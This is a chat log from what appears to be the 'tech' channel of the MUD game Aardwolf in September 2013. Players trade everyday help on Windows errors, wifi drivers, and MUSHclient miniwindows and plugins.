T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: the problem is that i'm not able to run the validation tool.  when i run geniuscheck.exe it says this version of the validation tool is no longer supported.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: im running windows 7
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: oops, i mean genuinecheck, not geniuscheck
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: apparently if i get winhlp32.exe, i'll be able to view the help files
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Cryndok.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: but i need to go through the validation process (GenuineCheck.exe) to get winhlp32... 
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: hmmmm
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cadriel Tech: run windows update, or find the newest version of the validator tool from microsoft
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: cadriel: Ok.  will try to find newest version
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cadriel Tech: the link is probably microsoft.com/genuine
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: i hate this :(
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: Oh well, i give up for now
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Someone tell me WHY an update would remove 5GHz wifi capability...
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Trachx Tech: just because you can now buy new model to replace obsolete one without 5G
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, this laptop's wireless had 5G capability. Now it doesn't after I updated...
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Trachx Tech: maybe it was due to compliance with something
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Trachx Tech: I mean 1st version was buggy / overpowered 
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Trachx Tech: and they could not fix (overpower) in other way than turning this off
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, maybe.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Daloran Tech: thats what recalls are for.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Trachx Tech: or default setting is 5GHz off and update reset config to default settings
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Trachx Tech: anyway, you can check whether that laptop current specs include 5GHz
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Adapter shows enabled, and preferred... :\
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Laptop itself include 5GHz.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: 5GHz is also the preferred network at school. :\
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Trachx Tech: power off / on ?
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Already did that, hmm
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Trachx Tech: is it possible you are connecting to linksys devices ?
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Belkin
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Trachx Tech: check this: http://skroc.pl/c5cb (technet.microsof) seems similar problem to yours
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm, will do.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Ranrr Tech: Check that you have the correct locale settings, 5 Ghz is not used everywhere.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Locale settings haven't changed. Celerino Advanced-N 6205 adapter. Still no 5Ghz... even after updating to the latest through Intel's site.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Loreli Tech: If you use linux, what is your windows manager and why?
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Rtek Tech: hello i have win7 and each time i try to play a game that needs a cd it wont work and the error report says my side by side config is wrong 
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Turie Tech: Did you google it?
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Rtek Tech: i did it says n should install a new c++ but i have repetedly and it still happens
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In...install a new C++?
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Trachx Tech: probably vc redist
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Rtek Tech: the micosoft red
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Rtek Tech: sorry the visual driver
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://support.microsoft.com/kb/2525435
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sounds like your OS install was borked
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Rtek Tech: thank you 
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Rtek Tech: borked?
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Tech is nocurse, use your imagination :-P Incorrect or invalid
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Backup your important stuff, wipe it and start again, would be my advice
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: As this is a Vista throwback error
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Rtek Tech: i dont want to butttt i am going too thank you for your help
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Tech: Rtek raises his glass of champagne in a toast. 
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Just make sure to remember that first step :-P
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Ranrr Tech: I'd wipe and install an OS that doesn't require a wipe on error
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Rtek Tech: im allready backed up i do it everymonth just in case 
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: I want Google Fiber. 835 Mbps download, 885 Mbps upload...
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: That's 40x what my current speed is. :(
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Ayasinda Tech: bah I only have 100Mps until the end of the year
T3/r7/2013-09-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: you could always do a 100% dedicated fiber optics line
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Mye Tech: but make sure you allocate 100% of it for aard .. minimize the chance of lag
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: What's nice is Google Fiber will be offered to Starbucks. I may just start going there to watch my movies and whatnot.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: pft figures no plans to be out here in cali
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: That's surprising, considering Google is based out here. You'd think they'd at least have set foundation in California first...
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Tech: Book of Etzli shrugs helplessly.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: they started in kansas
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: They started in Kansas City, MS...
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Or whatever Missouri is.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: MO, not MS. :p
T3/r7/2013-09-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was right it was kansas city ks, at least according to the website, but its right on the border =/
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Tech: Book of Etzli still hasn't been able to resolve the missing 5Ghz networks. *sigh*
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Never again will I update anything.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Endian Tech: is there a quick and easy way to replace the wallpaper on the main MUSHClient window?
T3/r7/2013-09-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: change the image file
T3/r7/2013-09-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its in world/plugings/images
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Endian Tech: I see. Just to clarify, I mean the "container" window which has the grey slate-like background by default, not the chat window.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ahhh
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Tech: HelperMan Hadar shrugs helplessly.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}Endian Tech: Thanks anyway. I tried sifting through the config menu, but I didn't see anything that looked promising.
T3/r7/2013-09-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im also not really a mush user
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Does anyone here know blowtorch, and if variables will work in triggers?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Interesting. Rumours abound that the Amazon smartphone MAY be free...
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ranrr Tech: Anyone know the origins of the name 'method' in the context of object oriented programming?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Daloran Tech: Some guy was working on the concept of object oritented programming - and died due to a Meth OD. Hence, MethOD. usually just cased as Method, or method though
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Tech: Ranrr beams a smile at Daloran.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: If you like that kind of humour.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ranrr Tech: I do, but I was serious.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Trachx Tech: I would rather suspect that when there were objects, properties then they needed 'a way' to get acces to properties
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Six-String Strazor Tech: Maybe this helps:  http://www.ipipan.gda.pl/~marek/objects/TOA/oobasics/oobasics.html
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ranrr Tech: I can't remember if we called them methods when I first learned OO programming back in the early 90s.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Six-String Strazor Tech: Operations Ranrr. :)
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ranrr Tech: That rings a bell.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Bamboo Tech: Is mush available for use on mac?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I hear people use it on Wine?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Anyone using the new test version of blowtorch? I'm trying to figure out the chat plugin and failing miserably. :)
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: anyone know how to get a miniwindow to be drag/moveable?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ayasinda Tech: in mush it should always be
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: i have added the drag handler
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: tech im making my own miniwindow =)
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: One that you make?  You have to define mouseup/down events, and redraw it, etc.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: I'd copy/paste fiendish's code
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: i have copy and pasted the examples into mine but it doesn't seem to wrk
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: Where did you copy from?  What examples?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: the muchclient forums
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: link?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: http://www.gammon.com.au/scripts/function.php?name=WindowDragHandler
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: also one other one to create the hotspot
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: Oh, that's not the forums
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: http://www.gammon.com.au/scripts/function.php?name=WindowDragHandler
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: is there a better forum to check out?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: what's not working with it?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: i have a dragmove a drag release and a mousedown funtion
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: its not moving the window
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: maybe the ranges?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: Are you calling WindowPosition?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: yes
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: WindowPosition(WindowInventory, posx - startx, posy - starty, 0, 2)
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: does the WindowDragHandler have to be? global scope?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: Are you defining a hotspot anywhere?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: the entire window
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: the hotspot is working because when i mouse over it gives me the hint
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: What's your WindowDragHandler() call look like?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: WindowDragHandler (WindowInventory, "hs1", "dragmove", "dragrelease", 0)
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: Can you tell if those functions are being called on move and release?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: ok i got it working, just had to move the draghandler code into the final createwindow call
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: was declaring the draghandler on start, but i guess i needed to have it call after i create the final window
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Leinei Tech: ah
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: cool now i have a moveable inventory window =)
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Cryos Tech: thanks for the help
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: anyone know of a script for quaffing pots from a bag, and resuppling
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: finger bast
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: thats name of script?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: No, type that command and go to the website listed
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Doc Holliday Tech: PotionQuafferV2
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Doc Holliday Tech: after you finger bast and go to his website
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: im on mushclient
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I know, just do it :P
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Doc Holliday Tech: then follow those directions :)
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: thanks!
T3/r7/2013-09-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yep its a mush plugin
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I've learned to just assume MUSH unless otherwise specified :P
T3/r7/2013-09-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Arnica Tech: This is what I assume for most mentality also
T3/r7/2013-09-08.txt.gz:{chan ch=tech}The mighty Hollister Tech: I did it! I did it!
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Now, undo it!q
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: s/q//
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: do i need to download the whole bastmush zip for the pluggins?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}The mighty Hollister Tech: nooooo!
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Unfortunately yes, Sickerone
T3/r7/2013-09-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: ah thanks
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Daloran Tech: Well, you don't HAVE to..
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Someone unpack it somewhere?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Daloran Tech: No, but having the plugins isnt a requirement =p
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: The prerequisite to his question was the plugin, so without his question wouldn't have existed, nor the answer been supplied, a paradox that eliminates that possibility :P
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Tech: Sickerone P
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: if i dl a newer version of mushclient do i need to move some files to keep my mapper explored rooms/etc?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: on the aardwolf website it shows how to update
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: thanks
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: is it a huge disadvantage that i'm playing on mudlet and not mushclient?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Not really.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: oh whew!
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: You just might not have all the extra cool features MUSH offers.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: i c
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: The clients aren't the disadvantages, though. It's the scripts written.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Daloran Tech: Nod. You don't get the "I win" button, thats included in aardmush for pvp
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Without scripts, Client A is just as good as Client B, really.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: oh dear, so mudlet is bad for pvp?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Daloran Tech: no, i'm being a smartass.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Being a t0 is bad for PVP. ;)
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Daloran Tech: Listen to Etzli. Its not the clients, its the scripts. of which a lot are available for aardmush
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Daloran.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: i used wine to installed mushclient but my settings wouldnt save, i'm using macbook air btw
T3/r7/2013-09-08.txt.gz:{chan ch=tech}North Westclox Tech: yes you are at a disadvantage because people dont make scripts/plugins for mudlet but there are tons for mush
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: when u say scripts, what do u mean?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: {This Level} Time: 16d 23:01:57 Exp: 54,152 (7,907 bonus) Kills: 276 Gold: 446,117 Trains: 7 (0 bonus) Pracs: 21 Quests: 166 Campaigns: 5 (4730 qps) Trivia: 7
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: That's the result of a script.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: so if i install mushclient again, i can download popular scripts and get an advantage?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: People have scripts that can help them find quest mobs, cp targets, etc.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i have random scripts that do nothing fun
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Depends on how you define "advantage". There's rarely any chance for advantage in pvp, if that's what you want to go through. You may get a slight advantage in gqs over someone who has never done gqs before, but you'll still be beat by those who have years of knowledge.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: this is my layout but i use cmud not mush: http://i40.tinypic.com/2vvrjx4.png
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: holy crap its a like a command center
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: so many windows lmao
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i like my windows
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Mine's about the same.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Except I have fewer windows.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: so i take it that playing on an iphone is worst
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes. Just yes is my answer.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: any phone user has a disadvantage
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: well darn... i play on phone sometimes too lol
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: not because of clients (actually blowtorch for android is getting better with scripts) but smaller screen, and normally not a full keyboard
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: i have mudrammer for iphone, it has triggers and alias
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: is that close to scripting?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Here's my layout. Pay no attention to the date, tell window, or chat window *smirk* http://tinyurl.com/opgchm4
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if the client can use varibles it would be better
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: i guess time to go back to mushclient then, but i dont think i can get it to save changes
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: once i get a windows computer again ill play with my settings some more, as it stands it has some bugs on wine
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: when i reopen it, i have to manually reorganize the windows
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Hadar has his on WINE.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i use both mush/cmud on WINE but im on linux not mac
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Whoops. *halo*
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Tech: Book of Etzli is distracted by TV. Yep, that's my excuse.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the mac wine might have some bugs, but i believe the creator of mush/writer of the scripts for aardmush both use wine
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: what command to gag channels so they only show in miniwin
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Doc Holliday Tech: just righclick the mini win and change echo
T3/r7/2013-09-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: chats echo off
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Doc Holliday Tech: or that
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: thanks
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: what scripts from bastmush good
T3/r7/2013-09-08.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: spellup/events/eqdb... hunttrick
T3/r7/2013-09-08.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: there is a lot of good stuff but it has issues too
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: used the fix plugging from bastmush now i see the color arguments instead of the color itself
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: how can i fix that
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: im having problems with %c
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: i see all the raw output with all the <at>s before doing the color conversion
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: help plz
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: why do i see {invmon} when i interact with itesm
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: why do i see {invmon} when i interact with items
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Bamboo Tech: Type invmon
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Sickerone Tech: thanks!
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: is there a way to change the font size in mushclient?
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Jhav Tech: Game -> Configure -> Output
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure is.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Kilfer Tech: game configure output
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Imma take a stab and say Game, Configure, Output.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Tech: Book of Etzli's shifty eyes dart back and forth.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Jhav Tech: Or right-click on the mini-windows that come packaged with Aardmush, they deal with font each seperately.
T3/r7/2013-09-08.txt.gz:{chan ch=tech}Ravryn Tech: ahhh so much better
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Sickerone Tech: how does mapper portals plugin work
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That moment when you wonder why a webpage seems to be loading correctly, but turns up 100% blank.  And then you realise it was 100% ads and adblocker went nuclear on it.
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Sweetchickx Tech: Is there an easy/faster way to mark rooms as noportal/norecall (like in lemdagor/prospers) without trying to enter a portal/recall in every room?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Mystryl Tech: Does the gmcp channel comm not exist anymore?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Kilfer Tech: how do i see the mapper help files?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Nuanse Tech: type mapper help
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: hey
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: anyone here?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Frie Tech: nope
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: ok
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Yes/No/Cancel
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: where can i find a list of current plugins and instructions of how to install them?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Protip: Don't ask to ask. Just ask. If someone sees it and knows it, they'll respond.
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Confounded CeriQ Tech: There's no master list from what I know - people have made stuff and put it online.
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Confounded CeriQ Tech: But downloading the latest aard mushclient branch will get you off to a good start.
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: i have that 
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Bast Tech: finger me for plugins also
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: finger you?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Trachx Tech: finger bast
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Lilleana Tech: yes, type " finger bast" 
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Trachx Tech: then go to his www
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Lilleana Tech: he's got great pluggins, really quiet snazzy 
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: got it
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: thanks
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: is this compiled like aardwolf client?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Bast Tech: no, follow the directions in https://code.google.com/p/bastmush/wiki/Installation
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: ok i loaded all the plugins but now i cant see the results from commands
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: like look
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: nothing comes up 
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Ayasinda Tech: what are you trying to do?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: i loaded the bast plugin list 
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Ayasinda Tech: yes and?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: i can see the chat in the communication log but when i type a command like look or inv i just see where i typed the command no results
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Ayasinda Tech: did you actually look what the plugins are for? Or did you just blindly install them and hope that something you like happens?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: i followed the instalation instructions and yes i looked at what most were minimaps quest spellup 
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Ayasinda Tech: ok I assume you have a miniwin map too?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: yes
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Ayasinda Tech: there is no other miniwin for look
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Ayasinda Tech: which plugins did you install?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: the installation instructions said insall all plugins
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Ayasinda Tech: I read something else. When adding plugins, do not add EVERY plugin, just add the ones you want to use.
